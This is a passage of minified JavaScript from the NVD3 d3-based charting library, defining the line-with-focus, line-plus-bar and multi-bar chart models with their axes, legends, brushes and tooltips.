Z=v.filter(function(a){return!a.disabled&&a.bar}),$=v.filter(function(a){return!a.bar});d=l.xScale(),e=o.scale(),f=l.yScale(),g=j.yScale(),h=m.yScale(),i=k.yScale();var _=v.filter(function(a){return!a.disabled&&a.bar}).map(function(a){return a.values.map(function(a,b){return{x:A(a,b),y:B(a,b)}})}),ab=v.filter(function(a){return!a.disabled&&!a.bar}).map(function(a){return a.values.map(function(a,b){return{x:A(a,b),y:B(a,b)}})});d.range([0,V]),e.domain(d3.extent(d3.merge(_.concat(ab)),function(a){return a.x})).range([0,V]);var bb=U.selectAll("g.nv-wrap.nv-linePlusBar").data([v]),cb=bb.enter().append("g").attr("class","nvd3 nv-wrap nv-linePlusBar").append("g"),db=bb.select("g");cb.append("g").attr("class","nv-legendWrap");var eb=cb.append("g").attr("class","nv-focus");eb.append("g").attr("class","nv-x nv-axis"),eb.append("g").attr("class","nv-y1 nv-axis"),eb.append("g").attr("class","nv-y2 nv-axis"),eb.append("g").attr("class","nv-barsWrap"),eb.append("g").attr("class","nv-linesWrap");var fb=cb.append("g").attr("class","nv-context");if(fb.append("g").attr("class","nv-x nv-axis"),fb.append("g").attr("class","nv-y1 nv-axis"),fb.append("g").attr("class","nv-y2 nv-axis"),fb.append("g").attr("class","nv-barsWrap"),fb.append("g").attr("class","nv-linesWrap"),fb.append("g").attr("class","nv-brushBackground"),fb.append("g").attr("class","nv-x nv-brush"),D){var gb=t.align()?V/2:V,hb=t.align()?gb:0;t.width(gb),db.select(".nv-legendWrap").datum(v.map(function(a){return a.originalKey=void 0===a.originalKey?a.key:a.originalKey,a.key=a.originalKey+(a.bar?O:P),a})).call(t),w.top!=t.height()&&(w.top=t.height(),W=a.utils.availableHeight(z,U,w)-H),db.select(".nv-legendWrap").attr("transform","translate("+hb+","+-w.top+")")}bb.attr("transform","translate("+w.left+","+w.top+")"),db.select(".nv-context").style("display",E?"initial":"none"),m.width(V).height(X).color(v.map(function(a,b){return a.color||C(a,b)}).filter(function(a,b){return!v[b].disabled&&v[b].bar})),k.width(V).height(X).color(v.map(function(a,b){return a.color||C(a,b)}).filter(function(a,b){return!v[b].disabled&&!v[b].bar}));var ib=db.select(".nv-context .nv-barsWrap").datum(Z.length?Z:[{values:[]}]),jb=db.select(".nv-context .nv-linesWrap").datum($[0].disabled?[{values:[]}]:$);db.select(".nv-context").attr("transform","translate(0,"+(W+w.bottom+x.top)+")"),ib.transition().call(m),jb.transition().call(k),G&&(o._ticks(a.utils.calcTicksX(V/100,v)).tickSize(-X,0),db.select(".nv-context .nv-x.nv-axis").attr("transform","translate(0,"+h.range()[0]+")"),db.select(".nv-context .nv-x.nv-axis").transition().call(o)),F&&(r.scale(h)._ticks(X/36).tickSize(-V,0),s.scale(i)._ticks(X/36).tickSize(Z.length?0:-V,0),db.select(".nv-context .nv-y3.nv-axis").style("opacity",Z.length?1:0).attr("transform","translate(0,"+e.range()[0]+")"),db.select(".nv-context .nv-y2.nv-axis").style("opacity",$.length?1:0).attr("transform","translate("+e.range()[1]+",0)"),db.select(".nv-context .nv-y1.nv-axis").transition().call(r),db.select(".nv-context .nv-y2.nv-axis").transition().call(s)),u.x(e).on("brush",T),I&&u.extent(I);var kb=db.select(".nv-brushBackground").selectAll("g").data([I||u.extent()]),lb=kb.enter().append("g");lb.append("rect").attr("class","left").attr("x",0).attr("y",0).attr("height",X),lb.append("rect").attr("class","right").attr("x",0).attr("y",0).attr("height",X);var mb=db.select(".nv-x.nv-brush").call(u);mb.selectAll("rect").attr("height",X),mb.selectAll(".resize").append("path").attr("d",J),t.dispatch.on("stateChange",function(a){for(var c in a)M[c]=a[c];K.stateChange(M),b.update()}),K.on("changeState",function(a){"undefined"!=typeof a.disabled&&(v.forEach(function(b,c){b.disabled=a.disabled[c]}),M.disabled=a.disabled),b.update()}),T()}),b}var c,d,e,f,g,h,i,j=a.models.line(),k=a.models.line(),l=a.models.historicalBar(),m=a.models.historicalBar(),n=a.models.axis(),o=a.models.axis(),p=a.models.axis(),q=a.models.axis(),r=a.models.axis(),s=a.models.axis(),t=a.models.legend(),u=d3.svg.brush(),v=a.models.tooltip(),w={top:30,right:30,bottom:30,left:60},x={top:0,right:30,bottom:20,left:60},y=null,z=null,A=function(a){return a.x},B=function(a){return a.y},C=a.utils.defaultColor(),D=!0,E=!0,F=!1,G=!0,H=50,I=null,J=null,K=d3.dispatch("brush","stateChange","changeState"),L=0,M=a.utils.state(),N=null,O=" (left axis)",P=" (right axis)";j.clipEdge(!0),k.interactive(!1),n.orient("bottom").tickPadding(5),p.orient("left"),q.orient("right"),o.orient("bottom").tickPadding(5),r.orient("left"),s.orient("right"),v.headerEnabled(!0).headerFormatter(function(a,b){return n.tickFormat()(a,b)});var Q=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},R=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return j.dispatch.on("elementMouseover.tooltip",function(a){v.duration(100).valueFormatter(function(a,b){return q.tickFormat()(a,b)}).data(a).position(a.pos).hidden(!1)}),j.dispatch.on("elementMouseout.tooltip",function(){v.hidden(!0)}),l.dispatch.on("elementMouseover.tooltip",function(a){a.value=b.x()(a.data),a.series={value:b.y()(a.data),color:a.color},v.duration(0).valueFormatter(function(a,b){return p.tickFormat()(a,b)}).data(a).hidden(!1)}),l.dispatch.on("elementMouseout.tooltip",function(){v.hidden(!0)}),l.dispatch.on("elementMousemove.tooltip",function(){v.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=K,b.legend=t,b.lines=j,b.lines2=k,b.bars=l,b.bars2=m,b.xAxis=n,b.x2Axis=o,b.y1Axis=p,b.y2Axis=q,b.y3Axis=r,b.y4Axis=s,b.tooltip=v,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return y},set:function(a){y=a}},height:{get:function(){return z},set:function(a){z=a}},showLegend:{get:function(){return D},set:function(a){D=a}},brushExtent:{get:function(){return I},set:function(a){I=a}},noData:{get:function(){return J},set:function(a){J=a}},focusEnable:{get:function(){return E},set:function(a){E=a}},focusHeight:{get:function(){return H},set:function(a){H=a}},focusShowAxisX:{get:function(){return G},set:function(a){G=a}},focusShowAxisY:{get:function(){return F},set:function(a){F=a}},legendLeftAxisHint:{get:function(){return O},set:function(a){O=a}},legendRightAxisHint:{get:function(){return P},set:function(a){P=a}},tooltips:{get:function(){return v.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),v.enabled(!!b)}},tooltipContent:{get:function(){return v.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),v.contentGenerator(b)}},margin:{get:function(){return w},set:function(a){w.top=void 0!==a.top?a.top:w.top,w.right=void 0!==a.right?a.right:w.right,w.bottom=void 0!==a.bottom?a.bottom:w.bottom,w.left=void 0!==a.left?a.left:w.left}},duration:{get:function(){return L},set:function(a){L=a}},color:{get:function(){return C},set:function(b){C=a.utils.getColor(b),t.color(C)}},x:{get:function(){return A},set:function(a){A=a,j.x(a),k.x(a),l.x(a),m.x(a)}},y:{get:function(){return B},set:function(a){B=a,j.y(a),k.y(a),l.y(a),m.y(a)}}}),a.utils.inheritOptions(b,j),a.utils.initOptions(b),b},a.models.lineWithFocusChart=function(){"use strict";function b(o){return o.each(function(o){function z(a){var b=+("e"==a),c=b?1:-1,d=M/3;return"M"+.5*c+","+d+"A6,6 0 0 "+b+" "+6.5*c+","+(d+6)+"V"+(2*d-6)+"A6,6 0 0 "+b+" "+.5*c+","+2*d+"ZM"+2.5*c+","+(d+8)+"V"+(2*d-8)+"M"+4.5*c+","+(d+8)+"V"+(2*d-8)}function G(){n.empty()||n.extent(y),U.data([n.empty()?e.domain():y]).each(function(a){var b=e(a[0])-c.range()[0],d=K-e(a[1]);d3.select(this).select(".left").attr("width",0>b?0:b),d3.select(this).select(".right").attr("x",e(a[1])).attr("width",0>d?0:d)})}function H(){y=n.empty()?null:n.extent();var a=n.empty()?e.domain():n.extent();if(!(Math.abs(a[0]-a[1])<=1)){A.brush({extent:a,brush:n}),G();var b=Q.select(".nv-focus .nv-linesWrap").datum(o.filter(function(a){return!a.disabled}).map(function(b){return{key:b.key,area:b.area,values:b.values.filter(function(b,c){return g.x()(b,c)>=a[0]&&g.x()(b,c)<=a[1]})}}));b.transition().duration(B).call(g),Q.select(".nv-focus .nv-x.nv-axis").transition().duration(B).call(i),Q.select(".nv-focus .nv-y.nv-axis").transition().duration(B).call(j)}}var I=d3.select(this),J=this;a.utils.initSVG(I);var K=a.utils.availableWidth(t,I,q),L=a.utils.availableHeight(u,I,q)-v,M=v-r.top-r.bottom;if(b.update=function(){I.transition().duration(B).call(b)},b.container=this,C.setter(F(o),b.update).getter(E(o)).update(),C.disabled=o.map(function(a){return!!a.disabled}),!D){var N;D={};for(N in C)D[N]=C[N]instanceof Array?C[N].slice(0):C[N]}if(!(o&&o.length&&o.filter(function(a){return a.values.length}).length))return a.utils.noData(b,I),b;I.selectAll(".nv-noData").remove(),c=g.xScale(),d=g.yScale(),e=h.xScale(),f=h.yScale();var O=I.selectAll("g.nv-wrap.nv-lineWithFocusChart").data([o]),P=O.enter().append("g").attr("class","nvd3 nv-wrap nv-lineWithFocusChart").append("g"),Q=O.select("g");P.append("g").attr("class","nv-legendWrap");var R=P.append("g").attr("class","nv-focus");R.append("g").attr("class","nv-x nv-axis"),R.append("g").attr("class","nv-y nv-axis"),R.append("g").attr("class","nv-linesWrap"),R.append("g").attr("class","nv-interactive");var S=P.append("g").attr("class","nv-context");S.append("g").attr("class","nv-x nv-axis"),S.append("g").attr("class","nv-y nv-axis"),S.append("g").attr("class","nv-linesWrap"),S.append("g").attr("class","nv-brushBackground"),S.append("g").attr("class","nv-x nv-brush"),x&&(m.width(K),Q.select(".nv-legendWrap").datum(o).call(m),q.top!=m.height()&&(q.top=m.height(),L=a.utils.availableHeight(u,I,q)-v),Q.select(".nv-legendWrap").attr("transform","translate(0,"+-q.top+")")),O.attr("transform","translate("+q.left+","+q.top+")"),w&&(p.width(K).height(L).margin({left:q.left,top:q.top}).svgContainer(I).xScale(c),O.select(".nv-interactive").call(p)),g.width(K).height(L).color(o.map(function(a,b){return a.color||s(a,b)}).filter(function(a,b){return!o[b].disabled})),h.defined(g.defined()).width(K).height(M).color(o.map(function(a,b){return a.color||s(a,b)}).filter(function(a,b){return!o[b].disabled})),Q.select(".nv-context").attr("transform","translate(0,"+(L+q.bottom+r.top)+")");var T=Q.select(".nv-context .nv-linesWrap").datum(o.filter(function(a){return!a.disabled}));d3.transition(T).call(h),i.scale(c)._ticks(a.utils.calcTicksX(K/100,o)).tickSize(-L,0),j.scale(d)._ticks(a.utils.calcTicksY(L/36,o)).tickSize(-K,0),Q.select(".nv-focus .nv-x.nv-axis").attr("transform","translate(0,"+L+")"),n.x(e).on("brush",function(){H()}),y&&n.extent(y);var U=Q.select(".nv-brushBackground").selectAll("g").data([y||n.extent()]),V=U.enter().append("g");V.append("rect").attr("class","left").attr("x",0).attr("y",0).attr("height",M),V.append("rect").attr("class","right").attr("x",0).attr("y",0).attr("height",M);var W=Q.select(".nv-x.nv-brush").call(n);W.selectAll("rect").attr("height",M),W.selectAll(".resize").append("path").attr("d",z),H(),k.scale(e)._ticks(a.utils.calcTicksX(K/100,o)).tickSize(-M,0),Q.select(".nv-context .nv-x.nv-axis").attr("transform","translate(0,"+f.range()[0]+")"),d3.transition(Q.select(".nv-context .nv-x.nv-axis")).call(k),l.scale(f)._ticks(a.utils.calcTicksY(M/36,o)).tickSize(-K,0),d3.transition(Q.select(".nv-context .nv-y.nv-axis")).call(l),Q.select(".nv-context .nv-x.nv-axis").attr("transform","translate(0,"+f.range()[0]+")"),m.dispatch.on("stateChange",function(a){for(var c in a)C[c]=a[c];A.stateChange(C),b.update()}),p.dispatch.on("elementMousemove",function(c){g.clearHighlights();var d,f,h,k=[];if(o.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(i,j){var l=n.empty()?e.domain():n.extent(),m=i.values.filter(function(a,b){return g.x()(a,b)>=l[0]&&g.x()(a,b)<=l[1]});f=a.interactiveBisect(m,c.pointXValue,g.x());var o=m[f],p=b.y()(o,f);null!=p&&g.highlightPoint(j,f,!0),void 0!==o&&(void 0===d&&(d=o),void 0===h&&(h=b.xScale()(b.x()(o,f))),k.push({key:i.key,value:b.y()(o,f),color:s(i,i.seriesIndex)}))}),k.length>2){var l=b.yScale().invert(c.mouseY),m=Math.abs(b.yScale().domain()[0]-b.yScale().domain()[1]),r=.03*m,t=a.nearestValueIndex(k.map(function(a){return a.value}),l,r);null!==t&&(k[t].highlight=!0)}var u=i.tickFormat()(b.x()(d,f));p.tooltip.position({left:c.mouseX+q.left,top:c.mouseY+q.top}).chartContainer(J.parentNode).valueFormatter(function(a){return null==a?"N/A":j.tickFormat()(a)}).data({value:u,index:f,series:k})(),p.renderGuideLine(h)}),p.dispatch.on("elementMouseout",function(){g.clearHighlights()}),A.on("changeState",function(a){"undefined"!=typeof a.disabled&&o.forEach(function(b,c){b.disabled=a.disabled[c]}),b.update()})}),b}var c,d,e,f,g=a.models.line(),h=a.models.line(),i=a.models.axis(),j=a.models.axis(),k=a.models.axis(),l=a.models.axis(),m=a.models.legend(),n=d3.svg.brush(),o=a.models.tooltip(),p=a.interactiveGuideline(),q={top:30,right:30,bottom:30,left:60},r={top:0,right:30,bottom:20,left:60},s=a.utils.defaultColor(),t=null,u=null,v=50,w=!1,x=!0,y=null,z=null,A=d3.dispatch("brush","stateChange","changeState"),B=250,C=a.utils.state(),D=null;g.clipEdge(!0).duration(0),h.interactive(!1),i.orient("bottom").tickPadding(5),j.orient("left"),k.orient("bottom").tickPadding(5),l.orient("left"),o.valueFormatter(function(a,b){return j.tickFormat()(a,b)}).headerFormatter(function(a,b){return i.tickFormat()(a,b)});var E=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},F=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return g.dispatch.on("elementMouseover.tooltip",function(a){o.data(a).position(a.pos).hidden(!1)}),g.dispatch.on("elementMouseout.tooltip",function(){o.hidden(!0)}),b.dispatch=A,b.legend=m,b.lines=g,b.lines2=h,b.xAxis=i,b.yAxis=j,b.x2Axis=k,b.y2Axis=l,b.interactiveLayer=p,b.tooltip=o,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return t},set:function(a){t=a}},height:{get:function(){return u},set:function(a){u=a}},focusHeight:{get:function(){return v},set:function(a){v=a}},showLegend:{get:function(){return x},set:function(a){x=a}},brushExtent:{get:function(){return y},set:function(a){y=a}},defaultState:{get:function(){return D},set:function(a){D=a}},noData:{get:function(){return z},set:function(a){z=a}},tooltips:{get:function(){return o.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),o.enabled(!!b)}},tooltipContent:{get:function(){return o.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),o.contentGenerator(b)}},margin:{get:function(){return q},set:function(a){q.top=void 0!==a.top?a.top:q.top,q.right=void 0!==a.right?a.right:q.right,q.bottom=void 0!==a.bottom?a.bottom:q.bottom,q.left=void 0!==a.left?a.left:q.left}},color:{get:function(){return s},set:function(b){s=a.utils.getColor(b),m.color(s)}},interpolate:{get:function(){return g.interpolate()},set:function(a){g.interpolate(a),h.interpolate(a)}},xTickFormat:{get:function(){return i.tickFormat()},set:function(a){i.tickFormat(a),k.tickFormat(a)}},yTickFormat:{get:function(){return j.tickFormat()},set:function(a){j.tickFormat(a),l.tickFormat(a)}},duration:{get:function(){return B},set:function(a){B=a,j.duration(B),l.duration(B),i.duration(B),k.duration(B)}},x:{get:function(){return g.x()},set:function(a){g.x(a),h.x(a)}},y:{get:function(){return g.y()},set:function(a){g.y(a),h.y(a)}},useInteractiveGuideline:{get:function(){return w},set:function(a){w=a,w&&(g.interactive(!1),g.useVoronoi(!1))}}}),a.utils.inheritOptions(b,g),a.utils.initOptions(b),b},a.models.multiBar=function(){"use strict";function b(E){return C.reset(),E.each(function(b){var E=k-j.left-j.right,F=l-j.top-j.bottom;p=d3.select(this),a.utils.initSVG(p);var G=0;if(x&&b.length&&(x=[{values:b[0].values.map(function(a){return{x:a.x,y:0,series:a.series,size:.01}})}]),u){var H=d3.layout.stack().offset(v).values(function(a){return a.values}).y(r)(!b.length&&x?x:b);H.forEach(function(a,c){a.nonStackable?(b[c].nonStackableSeries=G++,H[c]=b[c]):c>0&&H[c-1].nonStackable&&H[c].values.map(function(a,b){a.y0-=H[c-1].values[b].y,a.y1=a.y0+a.y})}),b=H}b.forEach(function(a,b){a.values.forEach(function(c){c.series=b,c.key=a.key})}),u&&b[0].values.map(function(a,c){var d=0,e=0;b.map(function(a,f){if(!b[f].nonStackable){var g=a.values[c];g.size=Math.abs(g.y),g.y<0?(g.y1=e,e-=g.size):(g.y1=g.size+d,d+=g.size)}})});var I=d&&e?[]:b.map(function(a,b){return a.values.map(function(a,c){return{x:q(a,c),y:r(a,c),y0:a.y0,y1:a.y1,idx:b}})});m.domain(d||d3.merge(I).map(function(a){return a.x})).rangeBands(f||[0,E],A),n.domain(e||d3.extent(d3.merge(I).map(function(a){var c=a.y;return u&&!b[a.idx].nonStackable&&(c=a.y>0?a.y1:a.y1+a.y),c}).concat(s))).range(g||[F,0]),m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]-.01*m.domain()[0],m.domain()[1]+.01*m.domain()[1]]:[-1,1]),n.domain()[0]===n.domain()[1]&&n.domain(n.domain()[0]?[n.domain()[0]+.01*n.domain()[0],n.domain()[1]-.01*n.domain()[1]]:[-1,1]),h=h||m,i=i||n;var J=p.selectAll("g.nv-wrap.nv-multibar").data([b]),K=J.enter().append("g").attr("class","nvd3 nv-wrap nv-multibar"),L=K.append("defs"),M=K.append("g"),N=J.select("g");M.append("g").attr("class","nv-groups"),J.attr("transform","translate("+j.left+","+j.top+")"),L.append("clipPath").attr("id","nv-edge-clip-"+o).append("rect"),J.select("#nv-edge-clip-"+o+" rect").attr("width",E).attr("height",F),N.attr("clip-path",t?"url(#nv-edge-clip-"+o+")":"");var O=J.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a,b){return b});O.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6);var P=C.transition(O.exit().selectAll("rect.nv-bar"),"multibarExit",Math.min(100,z)).attr("y",function(a){var c=i(0)||0;return u&&b[a.series]&&!b[a.series].nonStackable&&(c=i(a.y0)),c}).attr("height",0).remove();P.delay&&P.delay(function(a,b){var c=b*(z/(D+1))-b;return c}),O.attr("class",function(a,b){return"nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}).style("fill",function(a,b){return w(a,b)}).style("stroke",function(a,b){return w(a,b)}),O.style("stroke-opacity",1).style("fill-opacity",.75);var Q=O.selectAll("rect.nv-bar").data(function(a){return x&&!b.length?x.values:a.values});Q.exit().remove();Q.enter().append("rect").attr("class",function(a,b){return r(a,b)<0?"nv-bar negative":"nv-bar positive"}).attr("x",function(a,c,d){return u&&!b[d].nonStackable?0:d*m.rangeBand()/b.length}).attr("y",function(a,c,d){return i(u&&!b[d].nonStackable?a.y0:0)||0}).attr("height",0).attr("width",function(a,c,d){return m.rangeBand()/(u&&!b[d].nonStackable?1:b.length)}).attr("transform",function(a,b){return"translate("+m(q(a,b))+",0)"});Q.style("fill",function(a,b,c){return w(a,c,b)}).style("stroke",function(a,b,c){return w(a,c,b)}).on("mouseover",function(a,b){d3.select(this).classed("hover",!0),B.elementMouseover({data:a,index:b,color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){d3.select(this).classed("hover",!1),B.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")})}).on("mousemove",function(a,b){B.elementMousemove({data:a,index:b,color:d3.select(this).style("fill")})}).on("click",function(a,b){B.elementClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}).on("dblclick",function(a,b){B.elementDblClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}),Q.attr("class",function(a,b){return r(a,b)<0?"nv-bar negative":"nv-bar positive"}).attr("transform",function(a,b){return"translate("+m(q(a,b))+",0)"}),y&&(c||(c=b.map(function(){return!0})),Q.style("fill",function(a,b,d){return d3.rgb(y(a,b)).darker(c.map(function(a,b){return b}).filter(function(a,b){return!c[b]})[d]).toString()}).style("stroke",function(a,b,d){return d3.rgb(y(a,b)).darker(c.map(function(a,b){return b}).filter(function(a,b){return!c[b]})[d]).toString()}));var R=Q.watchTransition(C,"multibar",Math.min(250,z)).delay(function(a,c){return c*z/b[0].values.length});u?R.attr("y",function(a,c,d){var e=0;return e=b[d].nonStackable?r(a,c)<0?n(0):n(0)-n(r(a,c))<-1?n(0)-1:n(r(a,c))||0:n(a.y1)}).attr("height",function(a,c,d){return b[d].nonStackable?Math.max(Math.abs(n(r(a,c))-n(0)),1)||0:Math.max(Math.abs(n(a.y+a.y0)-n(a.y0)),1)}).attr("x",function(a,c,d){var e=0;return b[d].nonStackable&&(e=a.series*m.rangeBand()/b.length,b.length!==G&&(e=b[d].nonStackableSeries*m.rangeBand()/(2*G))),e}).attr("width",function(a,c,d){if(b[d].nonStackable){var e=m.rangeBand()/G;return b.length!==G&&(e=m.rangeBand()/(2*G)),e}return m.rangeBand()}):R.attr("x",function(a){return a.series*m.rangeBand()/b.length}).attr("width",m.rangeBand()/b.length).attr("y",function(a,b){return r(a,b)<0?n(0):n(0)-n(r(a,b))<1?n(0)-1:n(r(a,b))||0}).attr("height",function(a,b){return Math.max(Math.abs(n(r(a,b))-n(0)),1)||0}),h=m.copy(),i=n.copy(),b[0]&&b[0].values&&(D=b[0].values.length)}),C.renderEnd("multibar immediate"),b}var c,d,e,f,g,h,i,j={top:0,right:0,bottom:0,left:0},k=960,l=500,m=d3.scale.ordinal(),n=d3.scale.linear(),o=Math.floor(1e4*Math.random()),p=null,q=function(a){return a.x},r=function(a){return a.y},s=[0],t=!0,u=!1,v="zero",w=a.utils.defaultColor(),x=!1,y=null,z=500,A=.1,B=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),C=a.utils.renderWatch(B,z),D=0;return b.dispatch=B,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},x:{get:function(){return q},set:function(a){q=a}},y:{get:function(){return r},set:function(a){r=a}},xScale:{get:function(){return m},set:function(a){m=a}},yScale:{get:function(){return n},set:function(a){n=a}},xDomain:{get:function(){return d},set:function(a){d=a}},yDomain:{get:function(){return e},set:function(a){e=a}},xRange:{get:function(){return f},set:function(a){f=a}},yRange:{get:function(){return g},set:function(a){g=a}},forceY:{get:function(){return s},set:function(a){s=a}},stacked:{get:function(){return u},set:function(a){u=a}},stackOffset:{get:function(){return v},set:function(a){v=a}},clipEdge:{get:function(){return t},set:function(a){t=a}},disabled:{get:function(){return c},set:function(a){c=a}},id:{get:function(){return o},set:function(a){o=a}},hideable:{get:function(){return x},set:function(a){x=a}},groupSpacing:{get:function(){return A},set:function(a){A=a}},margin:{get:function(){return j},set:function(a){j.top=void 0!==a.top?a.top:j.top,j.right=void 0!==a.right?a.right:j.right,j.bottom=void 0!==a.bottom?a.bottom:j.bottom,j.left=void 0!==a.left?a.left:j.left}},duration:{get:function(){return z},set:function(a){z=a,C.reset(z)}},color:{get:function(){return w},set:function(b){w=a.utils.getColor(b)}},barColor:{get:function(){return y},set:function(b){y=b?a.utils.getColor(b):null}}}),a.utils.initOptions(b),b},a.models.multiBarChart=function(){"use strict";function b(j){return D.reset(),D.models(e),r&&D.models(f),s&&D.models(g),j.each(function(j){var z=d3.select(this);a.utils.initSVG(z);var D=a.utils.availableWidth(l,z,k),H=a.utils.availableHeight(m,z,k);if(b.update=function(){0===C?z.call(b):z.transition().duration(C).call(b)},b.container=this,x.setter(G(j),b.update).getter(F(j)).update(),x.disabled=j.map(function(a){return!!a.disabled}),!y){var I;y={};for(I in x)y[I]=x[I]instanceof Array?x[I].slice(0):x[I]}if(!(j&&j.length&&j.filter(function(a){return a.values.length}).length))return a.utils.noData(b,z),b;z.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale(); var J=z.selectAll("g.nv-wrap.nv-multiBarWithLegend").data([j]),K=J.enter().append("g").attr("class","nvd3 nv-wrap nv-multiBarWithLegend").append("g"),L=J.select("g");if(K.append("g").attr("class","nv-x nv-axis"),K.append("g").attr("class","nv-y nv-axis"),K.append("g").attr("class","nv-barsWrap"),K.append("g").attr("class","nv-legendWrap"),K.append("g").attr("class","nv-controlsWrap"),q&&(h.width(D-B()),L.select(".nv-legendWrap").datum(j).call(h),k.top!=h.height()&&(k.top=h.height(),H=a.utils.availableHeight(m,z,k)),L.select(".nv-legendWrap").attr("transform","translate("+B()+","+-k.top+")")),o){var M=[{key:p.grouped||"Grouped",disabled:e.stacked()},{key:p.stacked||"Stacked",disabled:!e.stacked()}];i.width(B()).color(["#444","#444","#444"]),L.select(".nv-controlsWrap").datum(M).attr("transform","translate(0,"+-k.top+")").call(i)}J.attr("transform","translate("+k.left+","+k.top+")"),t&&L.select(".nv-y.nv-axis").attr("transform","translate("+D+",0)"),e.disabled(j.map(function(a){return a.disabled})).width(D).height(H).color(j.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!j[b].disabled}));var N=L.select(".nv-barsWrap").datum(j.filter(function(a){return!a.disabled}));if(N.call(e),r){f.scale(c)._ticks(a.utils.calcTicksX(D/100,j)).tickSize(-H,0),L.select(".nv-x.nv-axis").attr("transform","translate(0,"+d.range()[0]+")"),L.select(".nv-x.nv-axis").call(f);var O=L.select(".nv-x.nv-axis > g").selectAll("g");if(O.selectAll("line, text").style("opacity",1),v){var P=function(a,b){return"translate("+a+","+b+")"},Q=5,R=17;O.selectAll("text").attr("transform",function(a,b,c){return P(0,c%2==0?Q:R)});var S=d3.selectAll(".nv-x.nv-axis .nv-wrap g g text")[0].length;L.selectAll(".nv-x.nv-axis .nv-axisMaxMin text").attr("transform",function(a,b){return P(0,0===b||S%2!==0?R:Q)})}u&&O.filter(function(a,b){return b%Math.ceil(j[0].values.length/(D/100))!==0}).selectAll("text, line").style("opacity",0),w&&O.selectAll(".tick text").attr("transform","rotate("+w+" 0,0)").style("text-anchor",w>0?"start":"end"),L.select(".nv-x.nv-axis").selectAll("g.nv-axisMaxMin text").style("opacity",1)}s&&(g.scale(d)._ticks(a.utils.calcTicksY(H/36,j)).tickSize(-D,0),L.select(".nv-y.nv-axis").call(g)),h.dispatch.on("stateChange",function(a){for(var c in a)x[c]=a[c];A.stateChange(x),b.update()}),i.dispatch.on("legendClick",function(a){if(a.disabled){switch(M=M.map(function(a){return a.disabled=!0,a}),a.disabled=!1,a.key){case"Grouped":case p.grouped:e.stacked(!1);break;case"Stacked":case p.stacked:e.stacked(!0)}x.stacked=e.stacked(),A.stateChange(x),b.update()}}),A.on("changeState",function(a){"undefined"!=typeof a.disabled&&(j.forEach(function(b,c){b.disabled=a.disabled[c]}),x.disabled=a.disabled),"undefined"!=typeof a.stacked&&(e.stacked(a.stacked),x.stacked=a.stacked,E=a.stacked),b.update()})}),D.renderEnd("multibarchart immediate"),b}var c,d,e=a.models.multiBar(),f=a.models.axis(),g=a.models.axis(),h=a.models.legend(),i=a.models.legend(),j=a.models.tooltip(),k={top:30,right:20,bottom:50,left:60},l=null,m=null,n=a.utils.defaultColor(),o=!0,p={},q=!0,r=!0,s=!0,t=!1,u=!0,v=!1,w=0,x=a.utils.state(),y=null,z=null,A=d3.dispatch("stateChange","changeState","renderEnd"),B=function(){return o?180:0},C=250;x.stacked=!1,e.stacked(!1),f.orient("bottom").tickPadding(7).showMaxMin(!1).tickFormat(function(a){return a}),g.orient(t?"right":"left").tickFormat(d3.format(",.1f")),j.duration(0).valueFormatter(function(a,b){return g.tickFormat()(a,b)}).headerFormatter(function(a,b){return f.tickFormat()(a,b)}),i.updateState(!1);var D=a.utils.renderWatch(A),E=!1,F=function(a){return function(){return{active:a.map(function(a){return!a.disabled}),stacked:E}}},G=function(a){return function(b){void 0!==b.stacked&&(E=b.stacked),void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return e.dispatch.on("elementMouseover.tooltip",function(a){a.value=b.x()(a.data),a.series={key:a.data.key,value:b.y()(a.data),color:a.color},j.data(a).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){j.hidden(!0)}),e.dispatch.on("elementMousemove.tooltip",function(){j.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=A,b.multibar=e,b.legend=h,b.controls=i,b.xAxis=f,b.yAxis=g,b.state=x,b.tooltip=j,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return l},set:function(a){l=a}},height:{get:function(){return m},set:function(a){m=a}},showLegend:{get:function(){return q},set:function(a){q=a}},showControls:{get:function(){return o},set:function(a){o=a}},controlLabels:{get:function(){return p},set:function(a){p=a}},showXAxis:{get:function(){return r},set:function(a){r=a}},showYAxis:{get:function(){return s},set:function(a){s=a}},defaultState:{get:function(){return y},set:function(a){y=a}},noData:{get:function(){return z},set:function(a){z=a}},reduceXTicks:{get:function(){return u},set:function(a){u=a}},rotateLabels:{get:function(){return w},set:function(a){w=a}},staggerLabels:{get:function(){return v},set:function(a){v=a}},tooltips:{get:function(){return j.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),j.enabled(!!b)}},tooltipContent:{get:function(){return j.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use 